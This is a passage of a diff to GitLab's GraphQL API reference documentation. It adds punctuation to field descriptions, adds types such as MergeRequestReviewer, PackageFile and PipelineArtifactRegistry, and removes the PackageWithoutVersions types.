`readIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `read_issue` on this resource | -| `reopenIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `reopen_issue` on this resource | -| `updateIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `update_issue` on this resource | +| `adminIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_issue` on this resource. | +| `createDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `create_design` on this resource. | +| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. | +| `destroyDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_design` on this resource. | +| `readDesign` | [`Boolean!`](#boolean) | Indicates the user can perform `read_design` on this resource. | +| `readIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `read_issue` on this resource. | +| `reopenIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `reopen_issue` on this resource. | +| `updateIssue` | [`Boolean!`](#boolean) | Indicates the user can perform `update_issue` on this resource. | ### `IssueSetAssigneesPayload` @@ -3526,9 +3680,9 @@ Represents total number of issues for the represented statuses. | Field | Type | Description | | ----- | ---- | ----------- | -| `all` | [`Int`](#int) | Number of issues with status ALL for the project | -| `closed` | [`Int`](#int) | Number of issues with status CLOSED for the project | -| `opened` | [`Int`](#int) | Number of issues with status OPENED for the project | +| `all` | [`Int`](#int) | Number of issues with status ALL for the project. | +| `closed` | [`Int`](#int) | Number of issues with status CLOSED for the project. | +| `opened` | [`Int`](#int) | Number of issues with status OPENED for the project. | ### `Iteration` @@ -3538,10 +3692,11 @@ Represents an iteration object. | ----- | ---- | ----------- | | `createdAt` | [`Time!`](#time) | Timestamp of iteration creation. | | `description` | [`String`](#string) | Description of the iteration. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `dueDate` | [`Time`](#time) | Timestamp of the iteration due date. | | `id` | [`ID!`](#id) | ID of the iteration. | | `iid` | [`ID!`](#id) | Internal ID of the iteration. | +| `iterationCadence` | [`IterationCadence!`](#iterationcadence) | Cadence of the iteration. | | `report` | [`TimeboxReport`](#timeboxreport) | Historically accurate report about the timebox. | | `scopedPath` | [`String`](#string) | Web path of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. | | `scopedUrl` | [`String`](#string) | Web URL of the iteration, scoped to the query parent. Only valid for Project parents. Returns null in other contexts. | @@ -3595,6 +3750,16 @@ An edge in a connection. | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`IterationCadence`](#iterationcadence) | The item at the end of the edge. | +### `IterationCadenceUpdatePayload` + +Autogenerated return type of IterationCadenceUpdate. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | +| `iterationCadence` | [`IterationCadence`](#iterationcadence) | The updated iteration cadence. | + ### `IterationConnection` The connection type for Iteration. @@ -3718,7 +3883,7 @@ An edge in a connection. | `color` | [`String!`](#string) | Background color of the label. | | `createdAt` | [`Time!`](#time) | When this label was created. | | `description` | [`String`](#string) | Description of the label (Markdown rendered as HTML for caching). | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `id` | [`ID!`](#id) | Label ID. | | `textColor` | [`String!`](#string) | Text color of the label. | | `title` | [`String!`](#string) | Content of the label. | @@ -3754,6 +3919,42 @@ An edge in a connection. | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`Label`](#label) | The item at the end of the edge. | +### `LicenseHistoryEntry` + +Represents an entry from the Cloud License history. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `activatedAt` | [`Date`](#date) | Date when the license was activated. | +| `company` | [`String`](#string) | Company of the licensee. | +| `email` | [`String`](#string) | Email of the licensee. | +| `expiresAt` | [`Date`](#date) | Date when the license expires. | +| `id` | [`ID!`](#id) | ID of the license. | +| `name` | [`String`](#string) | Name of the licensee. | +| `plan` | [`String!`](#string) | Name of the subscription plan. | +| `startsAt` | [`Date`](#date) | Date when the license started. | +| `type` | [`String!`](#string) | Type of the license. | +| `usersInLicenseCount` | [`Int`](#int) | Number of paid users in the license. | + +### `LicenseHistoryEntryConnection` + +The connection type for LicenseHistoryEntry. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `edges` | [`[LicenseHistoryEntryEdge]`](#licensehistoryentryedge) | A list of edges. | +| `nodes` | [`[LicenseHistoryEntry]`](#licensehistoryentry) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +### `LicenseHistoryEntryEdge` + +An edge in a connection. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`LicenseHistoryEntry`](#licensehistoryentry) | The item at the end of the edge. | + ### `MarkAsSpamSnippetPayload` Autogenerated return type of MarkAsSpamSnippet. @@ -3806,7 +4007,7 @@ An edge in a connection. | `defaultMergeCommitMessageWithDescription` | [`String`](#string) | Default merge commit message of the merge request with description. | | `defaultSquashCommitMessage` | [`String`](#string) | Default squash commit message of the merge request. | | `description` | [`String`](#string) | Description of the merge request (Markdown rendered as HTML for caching). | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `diffHeadSha` | [`String`](#string) | Diff head SHA of the merge request. | | `diffRefs` | [`DiffRefs`](#diffrefs) | References of the base SHA, the head SHA, and the start SHA for this merge request. | | `diffStats` | [`[DiffStats!]`](#diffstats) | Details about which files were changed in this merge request. | @@ -3842,7 +4043,7 @@ An edge in a connection. | `rebaseCommitSha` | [`String`](#string) | Rebase commit SHA of the merge request. | | `rebaseInProgress` | [`Boolean!`](#boolean) | Indicates if there is a rebase currently in progress for the merge request. | | `reference` | [`String!`](#string) | Internal reference of the merge request. Returned in shortened format by default. | -| `reviewers` | [`UserConnection`](#userconnection) | Users from whom a review has been requested. | +| `reviewers` | [`MergeRequestReviewerConnection`](#mergerequestreviewerconnection) | Users from whom a review has been requested. | | `securityAutoFix` | [`Boolean`](#boolean) | Indicates if the merge request is created by @GitLab-Security-Bot. | | `securityReportsUpToDateOnTargetBranch` | [`Boolean!`](#boolean) | Indicates if the target branch security reports are out of date. | | `shouldBeRebased` | [`Boolean!`](#boolean) | Indicates if the merge request will be rebased. | @@ -3860,16 +4061,17 @@ An edge in a connection. | `targetBranchExists` | [`Boolean!`](#boolean) | Indicates if the target branch of the merge request exists. | | `targetProject` | [`Project!`](#project) | Target project of the merge request. | | `targetProjectId` | [`Int!`](#int) | ID of the merge request target project. | -| `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Completion status of tasks | +| `taskCompletionStatus` | [`TaskCompletionStatus!`](#taskcompletionstatus) | Completion status of tasks. | | `timeEstimate` | [`Int!`](#int) | Time estimate of the merge request. | +| `timelogs` | [`TimelogConnection!`](#timelogconnection) | Timelogs on the merge request. | | `title` | [`String!`](#string) | Title of the merge request. | -| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` | +| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. | | `totalTimeSpent` | [`Int!`](#int) | Total time reported as spent on the merge request. | | `updatedAt` | [`Time!`](#time) | Timestamp of when the merge request was last updated. | | `upvotes` | [`Int!`](#int) | Number of upvotes for the merge request. | | `userDiscussionsCount` | [`Int`](#int) | Number of user discussions in the merge request. | | `userNotesCount` | [`Int`](#int) | User notes count of the merge request. | -| `userPermissions` | [`MergeRequestPermissions!`](#mergerequestpermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`MergeRequestPermissions!`](#mergerequestpermissions) | Permissions for the current user on the resource. | | `webUrl` | [`String`](#string) | Web URL of the merge request. | | `workInProgress` | [`Boolean!`](#boolean) | Indicates if the merge request is a draft. | @@ -3911,14 +4113,14 @@ Represents the Geo sync and verification state of a Merge Request diff. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | [`Time`](#time) | Timestamp when the MergeRequestDiffRegistry was created | -| `id` | [`ID!`](#id) | ID of the MergeRequestDiffRegistry | -| `lastSyncFailure` | [`String`](#string) | Error message during sync of the MergeRequestDiffRegistry | -| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the MergeRequestDiffRegistry | +| `createdAt` | [`Time`](#time) | Timestamp when the MergeRequestDiffRegistry was created. | +| `id` | [`ID!`](#id) | ID of the MergeRequestDiffRegistry. | +| `lastSyncFailure` | [`String`](#string) | Error message during sync of the MergeRequestDiffRegistry. | +| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the MergeRequestDiffRegistry. | | `mergeRequestDiffId` | [`ID!`](#id) | ID of the Merge Request diff. | -| `retryAt` | [`Time`](#time) | Timestamp after which the MergeRequestDiffRegistry should be resynced | -| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the MergeRequestDiffRegistry | -| `state` | [`RegistryState`](#registrystate) | Sync state of the MergeRequestDiffRegistry | +| `retryAt` | [`Time`](#time) | Timestamp after which the MergeRequestDiffRegistry should be resynced. | +| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the MergeRequestDiffRegistry. | +| `state` | [`RegistryState`](#registrystate) | Sync state of the MergeRequestDiffRegistry. | ### `MergeRequestDiffRegistryConnection` @@ -3954,15 +4156,65 @@ Check permissions for the current user on a merge request. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_merge_request` on this resource | -| `canMerge` | [`Boolean!`](#boolean) | Indicates the user can perform `can_merge` on this resource | -| `cherryPickOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource | -| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource | -| `pushToSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_source_branch` on this resource | -| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource | -| `removeSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_source_branch` on this resource | -| `revertOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `revert_on_current_merge_request` on this resource | -| `updateMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `update_merge_request` on this resource | +| `adminMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_merge_request` on this resource. | +| `canMerge` | [`Boolean!`](#boolean) | Indicates the user can perform `can_merge` on this resource. | +| `cherryPickOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `cherry_pick_on_current_merge_request` on this resource. | +| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. | +| `pushToSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `push_to_source_branch` on this resource. | +| `readMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `read_merge_request` on this resource. | +| `removeSourceBranch` | [`Boolean!`](#boolean) | Indicates the user can perform `remove_source_branch` on this resource. | +| `revertOnCurrentMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `revert_on_current_merge_request` on this resource. | +| `updateMergeRequest` | [`Boolean!`](#boolean) | Indicates the user can perform `update_merge_request` on this resource. | + +### `MergeRequestReviewer` + +A user from whom a merge request review has been requested. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `assignedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user. | +| `authoredMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests authored by the user. | +| `avatarUrl` | [`String`](#string) | URL of the user's avatar. | +| `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | +| `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. | +| `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: `User.publicEmail`. | +| `groupCount` | [`Int`](#int) | Group count for the user. Available only when feature flag `user_group_counts` is enabled. | +| `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. | +| `id` | [`ID!`](#id) | ID of the user. | +| `location` | [`String`](#string) | The location of the user. | +| `mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | +| `name` | [`String!`](#string) | Human-readable name of the user. | +| `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. | +| `publicEmail` | [`String`](#string) | User's public email. | +| `reviewRequestedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user for review. | +| `snippets` | [`SnippetConnection`](#snippetconnection) | Snippets authored by the user. | +| `starredProjects` | [`ProjectConnection`](#projectconnection) | Projects starred by the user. | +| `state` | [`UserState!`](#userstate) | State of the user. | +| `status` | [`UserStatus`](#userstatus) | User status. | +| `todos` | [`TodoConnection`](#todoconnection) | To-do items of the user. | +| `userPermissions` | [`UserPermissions!`](#userpermissions) | Permissions for the current user on the resource. | +| `username` | [`String!`](#string) | Username of the user. Unique within this instance of GitLab. | +| `webPath` | [`String!`](#string) | Web path of the user. | +| `webUrl` | [`String!`](#string) | Web URL of the user. | + +### `MergeRequestReviewerConnection` + +The connection type for MergeRequestReviewer. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `edges` | [`[MergeRequestReviewerEdge]`](#mergerequestrevieweredge) | A list of edges. | +| `nodes` | [`[MergeRequestReviewer]`](#mergerequestreviewer) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +### `MergeRequestReviewerEdge` + +An edge in a connection. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`MergeRequestReviewer`](#mergerequestreviewer) | The item at the end of the edge. | ### `MergeRequestReviewerRereviewPayload` @@ -4111,6 +4363,7 @@ Represents a milestone. | `dueDate` | [`Time`](#time) | Timestamp of the milestone due date. | | `groupMilestone` | [`Boolean!`](#boolean) | Indicates if milestone is at group level. | | `id` | [`ID!`](#id) | ID of the milestone. | +| `iid` | [`ID!`](#id) | Internal ID of the milestone. | | `projectMilestone` | [`Boolean!`](#boolean) | Indicates if milestone is at project level. | | `report` | [`TimeboxReport`](#timeboxreport) | Historically accurate report about the timebox. | | `startDate` | [`Time`](#time) | Timestamp of the milestone start date. | @@ -4158,7 +4411,7 @@ Contains statistics about a milestone. | `complianceFrameworks` | [`ComplianceFrameworkConnection`](#complianceframeworkconnection) | Compliance frameworks available to projects in this namespace. Available only when feature flag `ff_custom_compliance_frameworks` is enabled. | | `containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. | | `description` | [`String`](#string) | Description of the namespace. | -| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` | +| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | | `fullName` | [`String!`](#string) | Full name of the namespace. | | `fullPath` | [`ID!`](#id) | Full path of the namespace. | | `id` | [`ID!`](#id) | ID of the namespace. | @@ -4212,7 +4465,7 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily. | ----- | ---- | ----------- | | `author` | [`User!`](#user) | User who wrote this note. | | `body` | [`String!`](#string) | Content of the note. | -| `bodyHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `note` | +| `bodyHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `note`. | | `confidential` | [`Boolean`](#boolean) | Indicates if this note is confidential. | | `createdAt` | [`Time!`](#time) | Timestamp of the note creation. | | `discussion` | [`Discussion`](#discussion) | The discussion this note is a part of. | @@ -4227,7 +4480,7 @@ Autogenerated return type of NamespaceIncreaseStorageTemporarily. | `systemNoteIconName` | [`String`](#string) | Name of the icon corresponding to a system note. | | `updatedAt` | [`Time!`](#time) | Timestamp of the note's last activity. | | `url` | [`String`](#string) | URL to view this Note in the Web UI. | -| `userPermissions` | [`NotePermissions!`](#notepermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`NotePermissions!`](#notepermissions) | Permissions for the current user on the resource. | ### `NoteConnection` @@ -4252,12 +4505,12 @@ An edge in a connection. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminNote` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_note` on this resource | -| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource | -| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource | -| `readNote` | [`Boolean!`](#boolean) | Indicates the user can perform `read_note` on this resource | -| `repositionNote` | [`Boolean!`](#boolean) | Indicates the user can perform `reposition_note` on this resource | -| `resolveNote` | [`Boolean!`](#boolean) | Indicates the user can perform `resolve_note` on this resource | +| `adminNote` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_note` on this resource. | +| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource. | +| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. | +| `readNote` | [`Boolean!`](#boolean) | Indicates the user can perform `read_note` on this resource. | +| `repositionNote` | [`Boolean!`](#boolean) | Indicates the user can perform `reposition_note` on this resource. | +| `resolveNote` | [`Boolean!`](#boolean) | Indicates the user can perform `resolve_note` on this resource. | ### `OncallParticipantType` @@ -4360,7 +4613,7 @@ Autogenerated return type of OncallScheduleUpdate. ### `Package` -Represents a package in the Package Registry. +Represents a package in the Package Registry. Note that this type is in beta and susceptible to changes. | Field | Type | Description | | ----- | ---- | ----------- | @@ -4374,7 +4627,7 @@ Represents a package in the Package Registry. | `tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. | | `updatedAt` | [`Time!`](#time) | Date of most recent update. | | `version` | [`String`](#string) | Version string. | -| `versions` | [`PackageWithoutVersionsConnection`](#packagewithoutversionsconnection) | The other versions of the package. | +| `versions` **{warning-solid}** | [`PackageConnection`](#packageconnection) | **Deprecated** in 13.11. This field is now only returned in the PackageDetailsType. | ### `PackageComposerJsonType` @@ -4397,6 +4650,25 @@ The connection type for Package. | `nodes` | [`[Package]`](#package) | A list of nodes. | | `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | +### `PackageDetailsType` + +Represents a package details in the Package Registry. Note that this type is in beta and susceptible to changes. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | [`Time!`](#time) | Date of creation. | +| `id` | [`PackagesPackageID!`](#packagespackageid) | ID of the package. | +| `metadata` | [`PackageMetadata`](#packagemetadata) | Package metadata. | +| `name` | [`String!`](#string) | Name of the package. | +| `packageFiles` | [`PackageFileConnection`](#packagefileconnection) | Package files. | +| `packageType` | [`PackageTypeEnum!`](#packagetypeenum) | Package type. | +| `pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines that built the package. | +| `project` | [`Project!`](#project) | Project where the package is stored. | +| `tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. | +| `updatedAt` | [`Time!`](#time) | Date of most recent update. | +| `version` | [`String`](#string) | Version string. | +| `versions` | [`PackageConnection`](#packageconnection) | The other versions of the package. | + ### `PackageEdge` An edge in a connection. @@ -4406,20 +4678,56 @@ An edge in a connection. | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`Package`](#package) | The item at the end of the edge. | +### `PackageFile` + +Represents a package file. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | [`Time!`](#time) | The created date. | +| `downloadPath` | [`String!`](#string) | Download path of the package file. | +| `fileMd5` | [`String`](#string) | Md5 of the package file. | +| `fileMetadata` | [`PackageFileMetadata`](#packagefilemetadata) | File metadata. | +| `fileName` | [`String!`](#string) | Name of the package file. | +| `fileSha1` | [`String`](#string) | Sha1 of the package file. | +| `fileSha256` | [`String`](#string) | Sha256 of the package file. | +| `id` | [`PackagesPackageFileID!`](#packagespackagefileid) | ID of the file. | +| `size` | [`String!`](#string) | Size of the package file. | +| `updatedAt` | [`Time!`](#time) | The updated date. | + +### `PackageFileConnection` + +The connection type for PackageFile. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `edges` | [`[PackageFileEdge]`](#packagefileedge) | A list of edges. | +| `nodes` | [`[PackageFile]`](#packagefile) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +### `PackageFileEdge` + +An edge in a connection. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`PackageFile`](#packagefile) | The item at the end of the edge. | + ### `PackageFileRegistry` Represents the Geo sync and verification state of a package file. | Field | Type | Description | | ----- | ---- | ----------- | -| `createdAt` | [`Time`](#time) | Timestamp when the PackageFileRegistry was created | -| `id` | [`ID!`](#id) | ID of the PackageFileRegistry | -| `lastSyncFailure` | [`String`](#string) | Error message during sync of the PackageFileRegistry | -| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the PackageFileRegistry | +| `createdAt` | [`Time`](#time) | Timestamp when the PackageFileRegistry was created. | +| `id` | [`ID!`](#id) | ID of the PackageFileRegistry. | +| `lastSyncFailure` | [`String`](#string) | Error message during sync of the PackageFileRegistry. | +| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the PackageFileRegistry. | | `packageFileId` | [`ID!`](#id) | ID of the PackageFile. | -| `retryAt` | [`Time`](#time) | Timestamp after which the PackageFileRegistry should be resynced | -| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the PackageFileRegistry | -| `state` | [`RegistryState`](#registrystate) | Sync state of the PackageFileRegistry | +| `retryAt` | [`Time`](#time) | Timestamp after which the PackageFileRegistry should be resynced. | +| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the PackageFileRegistry. | +| `state` | [`RegistryState`](#registrystate) | Sync state of the PackageFileRegistry. | ### `PackageFileRegistryConnection` @@ -4479,42 +4787,6 @@ An edge in a connection. | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`PackageTag`](#packagetag) | The item at the end of the edge. | -### `PackageWithoutVersions` - -Represents a version of a package in the Package Registry. - -| Field | Type | Description | -| ----- | ---- | ----------- | -| `createdAt` | [`Time!`](#time) | Date of creation. | -| `id` | [`PackagesPackageID!`](#packagespackageid) | ID of the package. | -| `metadata` | [`PackageMetadata`](#packagemetadata) | Package metadata. | -| `name` | [`String!`](#string) | Name of the package. | -| `packageType` | [`PackageTypeEnum!`](#packagetypeenum) | Package type. | -| `pipelines` | [`PipelineConnection`](#pipelineconnection) | Pipelines that built the package. | -| `project` | [`Project!`](#project) | Project where the package is stored. | -| `tags` | [`PackageTagConnection`](#packagetagconnection) | Package tags. | -| `updatedAt` | [`Time!`](#time) | Date of most recent update. | -| `version` | [`String`](#string) | Version string. | - -### `PackageWithoutVersionsConnection` - -The connection type for PackageWithoutVersions. - -| Field | Type | Description | -| ----- | ---- | ----------- | -| `edges` | [`[PackageWithoutVersionsEdge]`](#packagewithoutversionsedge) | A list of edges. | -| `nodes` | [`[PackageWithoutVersions]`](#packagewithoutversions) | A list of nodes. | -| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | - -### `PackageWithoutVersionsEdge` - -An edge in a connection. - -| Field | Type | Description | -| ----- | ---- | ----------- | -| `cursor` | [`String!`](#string) | A cursor for use in pagination. | -| `node` | [`PackageWithoutVersions`](#packagewithoutversions) | The item at the end of the edge. | - ### `PageInfo` Information about pagination in a connection. @@ -4522,8 +4794,8 @@ Information about pagination in a connection. | Field | Type | Description | | ----- | ---- | ----------- | | `endCursor` | [`String`](#string) | When paginating forwards, the cursor to continue. | -| `hasNextPage` | [`Boolean!`](#boolean) | When paginating forwards, are there more items? | -| `hasPreviousPage` | [`Boolean!`](#boolean) | When paginating backwards, are there more items? | +| `hasNextPage` | [`Boolean!`](#boolean) | When paginating forwards, are there more items?. | +| `hasPreviousPage` | [`Boolean!`](#boolean) | When paginating backwards, are there more items?. | | `startCursor` | [`String`](#string) | When paginating backwards, the cursor to continue. | ### `Pipeline` @@ -4535,7 +4807,7 @@ Information about pagination in a connection. | `cancelable` | [`Boolean!`](#boolean) | Specifies if a pipeline can be canceled. | | `commitPath` | [`String`](#string) | Path to the commit that triggered the pipeline. | | `committedAt` | [`Time`](#time) | Timestamp of the pipeline's commit. | -| `configSource` | [`PipelineConfigSourceEnum`](#pipelineconfigsourceenum) | Configuration source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE, COMPLIANCE_SOURCE) | +| `configSource` | [`PipelineConfigSourceEnum`](#pipelineconfigsourceenum) | Configuration source of the pipeline (UNKNOWN_SOURCE, REPOSITORY_SOURCE, AUTO_DEVOPS_SOURCE, WEBIDE_SOURCE, REMOTE_SOURCE, EXTERNAL_PROJECT_SOURCE, BRIDGE_SOURCE, PARAMETER_SOURCE, COMPLIANCE_SOURCE). | | `coverage` | [`Float`](#float) | Coverage percentage. | | `createdAt` | [`Time!`](#time) | Timestamp of the pipeline's creation. | | `detailedStatus` | [`DetailedStatus!`](#detailedstatus) | Detailed status of the pipeline. | @@ -4544,6 +4816,7 @@ Information about pagination in a connection. | `finishedAt` | [`Time`](#time) | Timestamp of the pipeline's completion. | | `id` | [`ID!`](#id) | ID of the pipeline. | | `iid` | [`String!`](#string) | Internal ID of the pipeline. | +| `job` | [`CiJob`](#cijob) | A specific job in this pipeline, either by name or ID. | | `jobs` | [`CiJobConnection`](#cijobconnection) | Jobs belonging to the pipeline. | | `path` | [`String`](#string) | Relative path to the pipeline's page. | | `project` | [`Project`](#project) | Project the pipeline belongs to. | @@ -4554,11 +4827,14 @@ Information about pagination in a connection. | `sourceJob` | [`CiJob`](#cijob) | Job where pipeline was triggered from. | | `stages` | [`CiStageConnection`](#cistageconnection) | Stages of the pipeline. | | `startedAt` | [`Time`](#time) | Timestamp when the pipeline was started. | -| `status` | [`PipelineStatusEnum!`](#pipelinestatusenum) | Status of the pipeline (CREATED, WAITING_FOR_RESOURCE, PREPARING, PENDING, RUNNING, FAILED, SUCCESS, CANCELED, SKIPPED, MANUAL, SCHEDULED) | +| `status` | [`PipelineStatusEnum!`](#pipelinestatusenum) | Status of the pipeline (CREATED, WAITING_FOR_RESOURCE, PREPARING, PENDING, RUNNING, FAILED, SUCCESS, CANCELED, SKIPPED, MANUAL, SCHEDULED). | +| `testReportSummary` | [`TestReportSummary!`](#testreportsummary) | Summary of the test report generated by the pipeline. | +| `testSuite` | [`TestSuite`](#testsuite) | A specific test suite in a pipeline test report. | | `updatedAt` | [`Time!`](#time) | Timestamp of the pipeline's last activity. | | `upstream` | [`Pipeline`](#pipeline) | Pipeline that triggered the pipeline. | | `user` | [`User`](#user) | Pipeline user. | -| `userPermissions` | [`PipelinePermissions!`](#pipelinepermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`PipelinePermissions!`](#pipelinepermissions) | Permissions for the current user on the resource. | +| `usesNeeds` | [`Boolean`](#boolean) | Indicates if the pipeline has jobs with `needs` dependencies. | | `warnings` | [`Boolean!`](#boolean) | Indicates if a pipeline has warnings. | ### `PipelineAnalytics` @@ -4577,6 +4853,40 @@ Information about pagination in a connection. | `yearPipelinesSuccessful` | [`[Int!]`](#int) | Total yearly successful pipeline count. | | `yearPipelinesTotals` | [`[Int!]`](#int) | Total yearly pipeline count. | +### `PipelineArtifactRegistry` + +Represents the Geo sync and verification state of a pipeline artifact. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `createdAt` | [`Time`](#time) | Timestamp when the PipelineArtifactRegistry was created. | +| `id` | [`ID!`](#id) | ID of the PipelineArtifactRegistry. | +| `lastSyncFailure` | [`String`](#string) | Error message during sync of the PipelineArtifactRegistry. | +| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the PipelineArtifactRegistry. | +| `pipelineArtifactId` | [`ID!`](#id) | ID of the pipeline artifact. | +| `retryAt` | [`Time`](#time) | Timestamp after which the PipelineArtifactRegistry should be resynced. | +| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the PipelineArtifactRegistry. | +| `state` | [`RegistryState`](#registrystate) | Sync state of the PipelineArtifactRegistry. | + +### `PipelineArtifactRegistryConnection` + +The connection type for PipelineArtifactRegistry. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `edges` | [`[PipelineArtifactRegistryEdge]`](#pipelineartifactregistryedge) | A list of edges. | +| `nodes` | [`[PipelineArtifactRegistry]`](#pipelineartifactregistry) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +### `PipelineArtifactRegistryEdge` + +An edge in a connection. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`PipelineArtifactRegistry`](#pipelineartifactregistry) | The item at the end of the edge. | + ### `PipelineCancelPayload` Autogenerated return type of PipelineCancel. @@ -4619,9 +4929,9 @@ An edge in a connection. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_pipeline` on this resource | -| `destroyPipeline` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_pipeline` on this resource | -| `updatePipeline` | 